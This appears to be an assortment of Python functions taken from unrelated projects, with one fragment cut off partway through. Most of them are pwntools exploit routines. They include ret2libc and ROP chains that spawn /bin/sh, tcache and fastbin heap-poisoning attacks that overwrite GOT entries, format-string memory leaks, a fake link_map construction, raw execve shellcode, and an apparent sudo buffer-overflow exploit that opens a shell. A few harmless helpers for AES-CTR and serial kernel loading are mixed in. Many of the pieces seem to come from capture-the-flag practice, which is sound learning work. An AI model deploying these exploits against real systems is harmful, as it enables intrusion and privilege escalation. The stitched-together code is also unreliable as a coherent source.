def ret2libc(p, offset, libc_ad): global binary, libc, x data = "" libc_address = libc_ad libcx = ELF(libc) libcx.address = libc_address rop2 = ROP(libcx) rop = ROP(ELF(binary)) POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] RET = (rop.find_gadget(['ret']))[0] BINSH = next(libcx.search(b"/bin/sh")) - 64 SYSTEM = libcx.sym["system"] EXIT = libcx.sym["exit"] p.sendline( fit({ int(offset): p64(POP_RDI) + p64(BINSH) + p64(RET) + p64(SYSTEM) + p64(EXIT) })) p.sendline("echo pwn && whoami && id && hostname") try: data = str(p.recv()) output(data) except Exception as e: x = 1 output("RET2LIBC NOT WORKING") output("TRYING ONESHOT") exploitcommanrop(p, offset) if "pwn" in data: p.interactive() else: x = 1 output("RET2LIBC NOT WORKING") output("TRYING ONESHOT") exploitcommanrop(p, offset)
def launch_attack(p): # 0. Prepare for tcache bin and fastbin # The number of allocated chunks is greater than 7. for _ in range(10): malloc(p, 0x20) # index: 0 to 9 for i in range(10): free(p, i) # 1. Identify a fake chunk base_addr = 0x155554f3b000 victim_memory = base_addr + e.libc.symbols["__malloc_hook"] fake_chunk_addr = victim_memory - 0x10 # 2. Link the fake chunk to fastbin freelist edit(p, 9, p64(fake_chunk_addr)) # 3. Emptify tcache bin for _ in range(7): malloc(p, 0x20) # index: 10 to 16 # 4. Tcache refill (reversely) malloc(p, 0x20) # index: 17 # 5. Malloc to get fake chunk malloc(p, 0x20) # index: 18 # 6. Overwrite victim memory edit(p, 18, p64(e.symbols.win)) # 7. Trigger the vulnerability by calling the victim pointer p.interactive()
def create_fake_turtle(ADDR_turtle, rop_chain, data, sel_id): OFFSET_objc_class__dtable = 0x40 OFFSET_objc_class__instance_size = 40 # ROP, use command "ROPgadget --binary turtles" GADGET_pop4_ret = 0x400d3c # pop r12; pop r13; pop r14; pop r15; ret; base_vtable = 0x90 base_data = 0x80 ADDR_class_pointer = ADDR_turtle + base_vtable buf = ( p64(ADDR_class_pointer - OFFSET_objc_class__dtable), # class_pointer rop_chain.ljust(base_data - 8, '\x00'), # OFFSET 0x80 data.ljust(base_vtable - base_data, '\x00'), # OFFSET 0x90 p64( ADDR_class_pointer + 0x08 ), # jump to rop_chain above, this originally points to [turtle say] p64(ADDR_class_pointer + 0x10 - (sel_id & 0xffffffff) * 8), # tbl_level1 p64(ADDR_class_pointer + 0x18 - (sel_id >> 32) * 8), # tbl_level2 p64(GADGET_pop4_ret)) MEMCPY_SIZE = 200 buf = ''.join(buf).ljust(MEMCPY_SIZE, 'A') return buf
def get_addr(libc_func): FUNC_GOT = ELF_LOADED.got[libc_func] log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = generate_payload_aligned(rop1) # Send our rop-chain payload #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received print(P.clean()) # clean socket buffer (read all and print) P.sendline(rop1) # If binary is echoing back the payload, remove that message recieved = P.recvline().strip() if OFFSET[:30] in recieved: recieved = P.recvline().strip() # Parse leaked address log.info(f"Len rop1: {len(rop1)}") leak = u64(recieved.ljust(8, b"\x00")) log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") # Set lib base address if LIBC: LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base log.info("LIBC base @ %s" % hex(LIBC.address)) # If not LIBC yet, stop here else: print( "TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)" ) P.interactive() return hex(leak)
def exploit(): mfd, sfd = pty.openpty() r = listen(12345) process("sudo -S id < " + os.ttyname(sfd), shell=True, env={"SUDO_ASKPASS": filename}) payload1 = "\x00" * OFFSETS[VERSION] payload1 += p64(0xf4) # tgetpass_flags, 244 payload1 += p64(0) * 6 # user_details payload1 += "\n" payload = "" for c in payload1: payload += c if (len(payload) + 1) % 0xf0 == 0: # 240 payload += "\x15" # sudo_term_kill char sleep(1) os.write(mfd, payload) r.wait_for_connection() # r.interactive() r.sendline(b'id -a') print("%s" % r.recvline(keepends=False)) print("%s" % r.recvline(keepends=False)) r.sendline(b'exit')
def launch_attack(p): # 1. fill tcache for _ in range(9): malloc(p) # index 0 - 9 for i in range(7): free(p, i) # 2. free three chunks and put them into fastbin free(p, 7) free(p, 8) # 3. trigger double free # fastbin: 7 -> 8 -> 7 free(p, 7) # 4. get the victim pointer for _ in range(7): malloc(p) # index 9 - 15 malloc(p) # index 16, same as 7 list_ptr(p) edit(p, 16, p64(e.got["malloc"])) malloc(p) # index 17, same as index 8 malloc(p) # index 18, same as index 7 malloc(p) # index 19, victim edit(p, 19, p64(e.symbols.win)) p.interactive()
def leak_libc(): # TODO: construct string attack value = p64(0x601018) pop_rdi = p64(0x4008b3) plt_puts = p64(0x4005c0) chain = pop_rdi + value + plt_puts attack = b'a' * 72 + chain return attack
def exploit(self): elf = self.elf libc = self.libc libc.symbols['/bin/sh'] = 0x0018cd57 with self.get_process(ld_preload=True, ld_linux=True) as self.p: # -- stage 1 --------------------------------------------------------------- idx = self.create_sword() # pretending printf, but got null in its address payload = 'A' * 8 payload += p64(elf.got['puts']) BUF_LEN = 256 payload += 'A' * (BUF_LEN - 1 - len(payload)) assert ('\n' not in payload) self.harden_sword(idx, BUF_LEN, payload) self.free_sword(idx) idx1 = self.create_sword() idx2 = self.create_sword() ADDR_puts = self.show_sword(idx2) libc.address = ADDR_puts - libc.symbols['puts'] ADDR_bin_sh = libc.symbols['/bin/sh'] ADDR_system = libc.symbols['system'] log.info("puts @ %s", hex(ADDR_puts)) log.info('libc @ %s', hex(libc.address)) log.info('/bin/sh @ %s', hex(ADDR_bin_sh)) log.info('system @ %s', hex(ADDR_system)) self.harden_sword(idx2, BUF_LEN, '') self.harden_sword(idx1, BUF_LEN, '') self.free_sword(idx2) self.free_sword(idx1) # -- stage 2 --------------------------------------------------------------- idx3 = self.create_sword() payload = 'A' * 8 payload += p64(ADDR_bin_sh) payload += p64(ADDR_system) payload += 'A' * (BUF_LEN - 1 - len(payload)) assert ('\n' not in payload) self.harden_sword(idx3, BUF_LEN, payload) self.free_sword(idx3) idx4 = self.create_sword() idx5 = self.create_sword() self.equip_sword(idx5) self.p.clean() self.p.sendline('ls -la') self.p.interactive()
def aes_ctr_dec(ct, key, nonce): ct_chunks = chunk(ct, AES_BLK_SZ) pt = bytearray([]) for i, ct_chunk in enumerate(ct_chunks): keystream_input = p64(nonce) + p64(i) keystream = aes_ecb_enc(keystream_input, key) pt = pt + xor(keystream, ct_chunk) return pt[:len(ct)]
def aes_ctr_enc(pt, key, nonce): # produce key stream pt_chunks = chunk(pt, AES_BLK_SZ) ct = bytearray([]) for i, pt_chunk in enumerate(pt_chunks): keystream_input = p64(nonce) + p64(i) keystream = aes_ecb_enc(keystream_input, key) ct = ct + xor(keystream, pt_chunk) return ct[:len(pt)]
def leakStringAt(s, address): data = "%16$pAAAA" + pwn.p64(address) try: p.sendline("%16$pAAAA" + pwn.p64(address)) except EOFError: raise EOFError try: code = (p.recv().replace("Hello", " ").strip().split("AAAA")) print(code) except EOFError: print " [X] EOFError trying to leak from %x" % address return None
def fake_link_map(code, libc, link_map_addr, src_func, dst_func): ''' prerequisite: arch == amd64 && *((char*)code.got[src_func]-3)=="\x03" (st_other == 3) usage: push 0 push fake_link_map jmp plt0+6 ''' #r_info = 0x0000000b00000007 r_info = 7 offset = (libc.sym[dst_func] - libc.sym[src_func]) % 2**64 r_offset = (link_map_addr-8-offset) % 2**64# rel_addr = link_map_addr - 8 writable link_map = '' link_map += p64(offset) # 0x00, l_addr link_map = link_map.ljust(0x28, '\x00') link_map += p64(code.got[src_func]-8) # symtab link_map = link_map.ljust(0x68, '\x00') link_map += p64(link_map_addr + 0x28 - 8) # 0x68, strtab_ptr - 8, any readable memory? link_map += p64(link_map_addr + 0x20) # 0x70, symtab_ptr - 8 link_map = link_map.ljust(0xf8, '\x00') link_map += p64(link_map_addr + 0xf8) # 0xf8, jmprel_ptr - 8 link_map += p64(link_map_addr + 0x108) # jmp_rel link_map += p64(r_offset) # reloc, 0x00, r_offset_base_address link_map_addr+0x108 link_map += p64(r_info) # reloc, 0x08, r_info return link_map
def launch_attack(p): # 1. malloc, free, so that there's chunk in tache malloc(p, 8) # the 0th pointer free(p, 0) # 2. edit the freed chunk in tachebin pointer = p64(e.got["malloc"]) edit(p, 0, pointer) # 3. malloc malloc(p, 8) # the 1st pointer # 4. malloc -> victim pointer (got["malloc"]) malloc(p, 8) # the 2nd pointer, which is also the victim pointer # 5. [pointer] -> address of win() edit(p, 2, p64(e.symbols.win)) # 6. malloc p.interactive()
def leak_for_oneshot(oneshot, offset, tylor_last_word, symbol): global host, port, binary, libc new = "" elf = ELF(binary) libc = ELF(sys.argv[2]) rop = ROP(elf) rop.call(elf.sym[symbol], [elf.got[symbol]]) rop.call(elf.sym.main) success(rop.dump()) if host != "": p = remote(host, port) else: p = process(binary) p.recvuntil(tylor_last_word) p.sendline(fit({int(offset): rop.chain()})) p.recv() puts = u64(p.recv()[:6].strip().ljust(8, b'\x00')) libc.address = puts - libc.symbols[symbol] payload = libc.address + oneshot output("PAYLOAD > " + str(hex(payload))) p.sendline(fit({int(offset): p64(payload)})) p.sendline("echo pwn && whoami && id && hostname") try: new = str(p.recv()) output(new) except Exception as f: pass if "pwn" in str(new): output("HOPE WE GET A SHELL") p.interactive() else: pass
def upload(self, local_path, remote_path): self.sock.send(CommandTypes.UPLOAD_FILE) self.sock.send(remote_path.encode().ljust(255, b'\0')) local_file_size = Path(local_path).stat().st_size self.sock.send(p64(local_file_size)) with open(local_path, 'rb') as local_file: self.sock.send(local_file.read())
def exploit(remote): if remote: pr = pwn.connect(host, port) else: pr = pwn.process(target) try: elf = pwn.ELF('baby_bof') libc = pwn.ELF('libc-2.31.so') rop = pwn.ROP(elf) pop_rdi = pwn.p64(rop.find_gadget(['pop rdi', 'ret']).address) payload = b'A' * 18 payload += pop_rdi payload += pwn.p64(elf.got['puts']) payload += pwn.p64(elf.plt['puts']) payload += pwn.p64(elf.sym['vuln']) pr.sendlineafter("me\n", payload) print(pr.readline()) out = pr.readline().strip() puts_addr = int.from_bytes(out[:8], 'little') print('puts @', hex(puts_addr)) """Also works if remote: sys = puts_addr - 0x32190 bin_sh = puts_addr + 0x13000a else: sys = puts_addr - 0x2e660 bin_sh = puts_addr + 0x116eb6 """ libc.address = puts_addr - libc.symbols['puts'] sys = libc.symbols['system'] bin_sh = next(libc.search(b'/bin/sh')) print('sys @', hex(sys)) print('bin_sh @', hex(bin_sh)) ret = pwn.p64(rop.find_gadget(['ret']).address) payload = b'A' * 18 payload += ret payload += pop_rdi payload += pwn.p64(bin_sh) payload += pwn.p64(sys) payload += pwn.p64(elf.sym['vuln']) print(payload) pr.sendafter('me\n', payload) pr.sendline() pr.sendline('cat flag.txt') print(pr.readall(4)) except Exception as e: print(e) finally: pr.close()
def resolve(self, **offsets): byte_string = b"" for component in self.chain: if component["type"] == "blob": byte_string += component["value"] elif component["type"] == "number": c = pwn.p64(component["value"]) byte_string += c elif component["type"] == "offset": binary_name = component["binary"] offset = offsets[binary_name] c = pwn.p64(component["value"] + offset) byte_string += c # oops, I think I messed up, I think most of this should all be # part of a payload object which is returend after initializing the Smrop self.chain = [] return byte_string
def AES_CTR(data, key, nonce): xor_data = "" cnt = 0 for i in range(0, len(data), BLOCK_SIZE): input = nonce + p64(cnt) xor_data += AES_ecb_encrypt(input, key) cnt+=1 processing_data = XOR_with_Key(data, xor_data) return processing_data
def read(address): name_student(0, pwn.p64(address)) r = show_name(1) r = r.split("1. Add")[0] value = pwn.util.packing.unpack(r.ljust(8, "\x00"), 'all', endian='little', signed=False) return value
def main(): cipher = open("Challenge18.txt", "r").read().replace("\r\n","") cipher = base64.b64decode(cipher) nonce = p64(0) KEY = "YELLOW SUBMARINE" plain = AES_CTR(cipher,KEY,nonce) print(plain)
def detect_segfault(): """ Input result of `pwn.cyclic(128,n=8)`, we got a segfault. By checking the stack, we have (gdb) info stack #0 0x00000000004008cd in vuln () #1 0x616161616161616a in ?? () #2 0x616161616161616b in ?? () #3 0x616161616161616c in ?? () #4 0x616161616161616d in ?? () #5 0x616161616161616e in ?? () #6 0x616161616161616f in ?? () #7 0x6161616161616170 in ?? () #8 0x0000000000000000 in ?? () """ ofs = pwn.cyclic_find(pwn.p64(0x616161616161616a), n=8) # 72 """ A trick due to old code haven't been removed payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["main"]) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload); payload = b'A'*ofs + pwn.p64(pwn.ELF(remote_binary, False).sym["flag"]) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload); """ for _ in range(0): payload = b'A' * ofs + pwn.p64( pwn.ELF(remote_binary, False).sym["main"]) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload) """ According to the conditions we need to make `win1` and `win2` true by calling `win_fn1` and `win_fn2` before `win_fn` """ payload = b"A" * ofs + build_rop() print("payload:\n", payload) pr.writelineafter("Welcome to 64-bit. Can you match these numbers?\n", payload) rsp = pr.readall(timeout=0.5) print('ofs:', ofs) print('rsp:', rsp) if rsp and "pico" in rsp.decode().lower(): print(rsp)
def attack(remote): pr = None if remote: pr = pwn.remote(host, port) else: pr = pwn.process(target) try: libc = CDLL('libc.so.6') num = (libc.rand() % 100) + 1 pr.sendlineafter("What number would you like to guess?\n", str(num)) elf = pwn.ELF(target, False) rop = pwn.ROP(elf) payload = b'A' * 120 payload += pwn.p64(rop.find_gadget(['pop rdx', 'ret']).address) payload += pwn.p64(elf.sym['__stack_prot']) payload += pwn.p64(rop.find_gadget(['pop rax', 'ret']).address) payload += pwn.p64(7) # PROT_READ|PROT_WRITE|PROT_EXEC payload += pwn.p64( 0x0000000000419127 ) # can't find this gadget in pwn, using result from ``ROPgadget --binary ./vuln`` # 0x0000000000419127 : mov qword ptr [rdx], rax ; ret payload += pwn.p64(rop.find_gadget(['pop rdi', 'ret']).address) payload += pwn.p64(elf.sym['__libc_stack_end']) payload += pwn.p64(elf.sym['_dl_make_stack_executable']) payload += pwn.p64( 0x0000000000451974 ) # can't find this gadget in pwn, using result from ``ROPgadget --binary ./vuln`` # 0x0000000000451974 : push rsp ; ret # http://shell-storm.org/shellcode/files/shellcode-603.php shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" payload += shellcode print('payload:', payload, 'len:', len(payload)) pr.send(payload) pr.readuntil("New winner!\nName? ") pr.sendline() print(pr.readline()) #pr.interactive() pr.sendline("cat flag.txt;") print('flag:', pr.readall(timeout=2).decode()) except Exception as e: print(e) finally: pr.close()
def main(io): count = int.from_bytes(b'sh\x00', 'little') - 38 syscall_number = 0 syscall_arguments = [0, PyLong_ToString, 8] syscall_arguments += [8] * count io.sendlineafter(b': ', str(syscall_number).encode()) io.sendlineafter(b': ', ' '.join(map(str, syscall_arguments)).encode()) sleep(1) io.send(p64(system_plt)) io.interactive()
def exploit(host="localhost", port=10000, cmd="exec cat flag", get_payload=False): baseaddr = 0x04fa1dfe0000 payload = b"" payload += pwn.p64(baseaddr+0x87a39) # pop rcx ; sal ebx, 0xf ; pop rax ; fmul st(1) ; ret payload += pwn.p64(baseaddr+0x8cbb4) # endbr ; ... ; pop ebp ; ret payload += pwn.p64(0x3b) # rax for syscall (execve) payload += pwn.p64(baseaddr+0x57ca8) # syscall payload += cmd.encode('utf8') b64_payload = base64.encodebytes(payload).decode('utf8').rstrip() if get_payload: return "{}\n{}\n".format(hex(baseaddr), b64_payload) sock = pwn.remote(host, port) sock.sendlineafter("Enter baseaddr of libc: ", hex(baseaddr)) sock.sendlineafter("Enter base64 payload: ", b64_payload) sock.shutdown() msg = sock.recv() sock.close() return msg.decode('utf8')
def launch_attack(p): p.recvuntil(END_OF_MENU) # 1. malloc two chunks malloc(p) malloc(p) # 2. free the chunk with index of 1 free(p, 1) # 3. overflow thunk with index of 0 content = b'a' * (0x20 - 8) + b'\x21' + b'\x00' * 7 + p64(e.got["free"]) edit(p, 0, content) # 4. allocate chunk -> 1, index of 2 malloc(p) # 5. allocate chunk -> victim, index of 3 malloc(p) # 6. edit the chunk of 3, fill in the winning function edit(p, 3, p64(e.symbols["win"])) # 7. trigger the vulnerability by calling free p.sendline(b"f 0") p.recvline() print(p.recvline())
def ret2libc_payload(self, log=False): libc = self.elf.libc pop_rdi = self.search_rop('pop rdi,ret') sh = next(self.libc.search(b'/bin/sh')) system = self.libc.sym['system'] if log: pwn.log.info('libc address: %s' % hex(self.libc.address)) pwn.log.info('system: %s' % hex(system)) pwn.log.info('exit: %s' % hex(self.exit)) pwn.log.info('sh: %s' % hex(sh)) pwn.log.info('pop_rdi: %s' % hex(pop_rdi)) system = pwn.p64(system) exit = pwn.p64(self.exit) sh = pwn.p64(sh) pop_rdi = pwn.p64(pop_rdi) return pop_rdi + sh + system + exit
def launch_attack(p): # 0. set up a scenario with both tcache bin chunks and fastbin chunks # the number of chunks has to be greater than 7. for _ in range(10): malloc(p, 0x20) # index: 0-9 for i in range(10): free(p, i) # 1. pick up a fake chunk victim_memory = 0x00007ffff7dcfc30 fake_chunk_addr = victim_memory - 0x10 # 2. link the fake chunk to fastbin edit(p, 7, p64(fake_chunk_addr)) # 3. emptify tcache bin for _ in range(7): malloc(p, 0x20) # index: 10 - 16 # 4. malloc from fastbin so that fastbin will refill tcache bin malloc(p, 0x20) # index: 17 # 5. malloc until we get the fake chunk malloc(p, 0x20) # index: 18 # 6. overwrite the victim address with the target winning function edit(p, 18, p64(e.symbols.win)) # 7. trigger the winning function by calling the overwritten function # pointer p.interactive()
def launch_attack(p): p.recvuntil(END_OF_MENU) # 1. allocate a chunk 0x400 -> 0x410 (tcache) malloc(p) # 2. free the chunk free(p, 0) # 3. free the chunk free(p, 0) # 4. malloc the chunk malloc(p) # index of pointer: 1 # 5. edit the chunk to e.got["malloc"] edit(p, 1, p64(e.got["malloc"])) # 6. malloc * 2 malloc(p) # index of pointer: 2 malloc(p) # index of pointer: 3, victim pointer # 7. [victim] = e.symbol["win"] edit(p, 3, p64(e.symbols.win)) # TRIGGER p.sendline(b"m 8") p.recvline() print(p.recvline())
def leak_libc_payload(self, print_function, leak_function, log=False): self.print_function = print_function self.leak_function = leak_function prnt = self.elf.plt[print_function] leak = self.elf.got[leak_function] pop_rdi = self.search_rop('pop rdi,ret') if log: pwn.log.info('print_function address: %s' % hex(prnt)) pwn.log.info('leak_function address: %s' % hex(leak)) pwn.log.info('exit address: %s' % hex(self.exit)) pwn.log.info('pop_rdi address: %s' % hex(pop_rdi)) pop_rdi = pwn.p64(pop_rdi) leak = pwn.p64(leak) prnt = pwn.p64(prnt) exit = pwn.p64(self.exit) return pop_rdi + leak + prnt + exit
def send_kernel(serial, kernel_file): print('Kernel :') # transfer kernel binary serial.send('s') kernel_bin = pwn.ELF(kernel_file) for section in kernel_bin.sections: if (section.__class__.__name__ == 'Section' and 'debug' not in section.name): checksum = 0 res_checksum = 1 while checksum != res_checksum: start_time = time.time() print('\nSection :', section.name) serial.send('S') serial.recvuntil('S') print('Address :', hex(section.header.sh_addr)) serial.send(pwn.p64(section.header.sh_addr)) print('Size :', hex(section.data_size)) serial.send(pwn.p64(section.data_size)) checksum = 0 print('Type :', section.header.sh_type) if (section.header.sh_type == 'SHT_NOBITS'): serial.send('A') elif (section.header.sh_type == 'SHT_PROGBITS'): serial.send('D') section_bin = kernel_bin.section(section.name) serial.send(section_bin) checksum = reduce(lambda x, y: x ^ y, section_bin) res_checksum = pwn.u8(serial.recv(1)) print('Checksum :', checksum == res_checksum) print(f'Elapse Time :{time.time() - start_time:.2f}s') serial.send('E') print('\nEntry Point :', hex(kernel_bin.entry)) serial.send(pwn.p64(kernel_bin.entry))
def p64(h): return pwn.p64(h)
CALL_RBP = 0x00401fbc # htons - useless function, used to studd RDX_SHIT indirect call HTONS = 0x60d088 # free in .got.plt - we leak this, then override this LEAK_ADDRESS = 0x60D018 LEAK_LENGTH = 8 # place to keep system arg SYSTEM_ARG_ADDRESS = LEAK_ADDRESS + 8 SYSTEM_ARG_LENGTH = 8 #change this if you change the sent length in the client key = 'this_is_preshared_key' ## WRITE 8 BYTES OF GOT.PLT FREE TO STDOUT sent_buffer = pwn.cyclic(672) + pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(LEAK_LENGTH) + pwn.p64(0) + pwn.p64(0) sent_buffer += pwn.p64(RDX_SHIT) sent_buffer += pwn.p64(8) * 7 sent_buffer += pwn.p64(POP_RDI) + pwn.p64(1) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS) + pwn.p64(0) sent_buffer += pwn.p64(WRITE) ## READ SYSTEM ARG TO CLIENT sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(SYSTEM_ARG_LENGTH) + pwn.p64(0) + pwn.p64(0) sent_buffer += pwn.p64(RDX_SHIT) sent_buffer += pwn.p64(8) * 7 sent_buffer += pwn.p64(POP_RDI) + pwn.p64(0) + pwn.p64(POP_RSI_R15) + pwn.p64(SYSTEM_ARG_ADDRESS) + pwn.p64(0) sent_buffer += pwn.p64(READ) ## RESEND TO CLIENT FOR DEBUG sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(SYSTEM_ARG_LENGTH) + pwn.p64(0) + pwn.p64(0) sent_buffer += pwn.p64(RDX_SHIT)